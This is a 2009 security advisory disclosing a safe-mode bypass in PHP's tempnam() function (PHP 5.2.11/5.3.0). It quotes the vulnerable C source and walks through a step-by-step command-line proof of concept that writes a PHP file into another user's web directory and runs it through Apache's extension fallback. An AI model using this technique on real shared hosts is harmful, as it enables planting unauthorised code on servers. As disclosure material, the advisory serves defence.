[ PHP 5.2.11/5.3.0 (file.c) Safe-mode bypass ]

Author: Grzegorz Stachowiak

Date:
- - Dis.: 23.09.2009
- - Pub.: 29.09.2009

Risk: Medium

Affected Software:
- - PHP 5.2.11 and prior

- --- 0.Description ---
PHP is an HTML-embedded scripting language. Much of its syntax is borrowed
from C, Java and Perl with a couple of unique PHP-specific features thrown
in. The goal of the language is to allow web developers to write
dynamically generated pages quickly.

http://lu2.php.net/manual/en/function.tempnam.php

- --- 1. PHP 5.2.11/5.3.0 (file.c) Safe-mode bypass ---

The main problem exist in function tempnam() which check only open_basedir value. We can create any file with PHP code, in any writable folder.

- ---ext/standard/file.c---

PHP_FUNCTION(tempnam)
{
	char *dir, *prefix;
	int dir_len, prefix_len;
	size_t p_len;
	char *opened_path;
	char *p;
	int fd;

	if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "ss", &dir, &dir_len, &prefix, &prefix_len) == FAILURE) {
		return;
	}

	if (php_check_open_basedir(dir TSRMLS_CC)) {                [1] 
		RETURN_FALSE;
	}

	php_basename(prefix, prefix_len, NULL, 0, &p, &p_len TSRMLS_CC);
	if (p_len > 64) {
		p[63] = '\0';
	}

	if ((fd = php_open_temporary_fd(dir, p, &opened_path TSRMLS_CC)) >= 0) {
		close(fd);
		RETVAL_STRING(opened_path, 0);
	}
	efree(p);
}

- ---ext/standard/file.c---

[1]. Function tempnam() check only open_basedir value.

- ---example0 (5.2.11/5.3.0)---

x@x-desktop:/var/www/bypass# php -v

PHP 5.3.0 (cli) (built: Sep 22 2009 14:06:39)
Copyright (c) 1997-2009 The PHP Group
Zend Engine v2.3.0, Copyright (c) 1998-2009 Zend Technologies

|----------------------------------------------------------------|

x@x-desktop:/var/www/bypass# php -r "echo ini_get('safe_mode')"

1

|----------------------------------------------------------------|

y@x-desktop:~/www$ ls -la
total 8
drwxrwxrwx 2 y y 4096 2009-09-27 19:11 .
drwxr-xr-x 9 y y 4096 2009-09-27 19:11 ..

x@x-desktop:/var/www/bypass$ id
uid=1000(x) gid=1000(x)

|----------------------------------------------------------------|

x@x-desktop:/var/www/bypass$ php -r "fopen('/home/y/www/safe_mode_bypass.php','a+');"
1
Warning: fopen(): SAFE MODE Restriction in effect.  The script whose uid is 1000 is not allowed to access /home/y/www/ owned by uid 1001 in Command line code on line 1

Warning: fopen(/home/y/www/safe_mode_bypass.php): failed to open stream: No such file or directory in Command line code on line 1

|----------------------------------------------------------------|

x@x-desktop:/var/www/bypass$ php -r "tempnam('/home/y/www/','safe_mode_bypass.php.');"

x@x-desktop:/var/www/bypass$ ls -la /home/y/www/
total 8
drwxrwxrwx 2 y y 4096 2009-09-27 19:15 .
drwxr-xr-x 9 y y 4096 2009-09-27 19:11 ..
-rw------- 1 x x    0 2009-09-27 19:15 safe_mode_bypass.php.SUT2N3 
 
|----------------------------------------------------------------|

x@x-desktop:/var/www/bypass$ php -r "file_put_contents('/home/y/www/safe_mode_bypass.php.SUT2Nb','<?php echo getcwd(); ?>');"


x@x-desktop:/var/www/bypass$ cat /home/y/www/safe_mode_bypass.php.SUT2Nb

<?php echo getcwd(); ?>

|----------------------------------------------------------------|

x@x-desktop:/var/www/bypass$ php -r "chmod('/home/y/www/safe_mode_bypass.php.SUT2Nb',0755);"


x@x-desktop:/var/www$ curl http://localhost/safe_mode_bypass.php.SUT2Nb

/home/y/www

|----------------------------------------------------------------|

File has been executed as PHP file, because extension .SUT2Nb do not exist, so Apache "search" other extension in filename, in this instance .php .

- --- 3. Contact ---

Author: Grzegorz Stachowiak
Email: stachowiak {a|t} analogicode.pl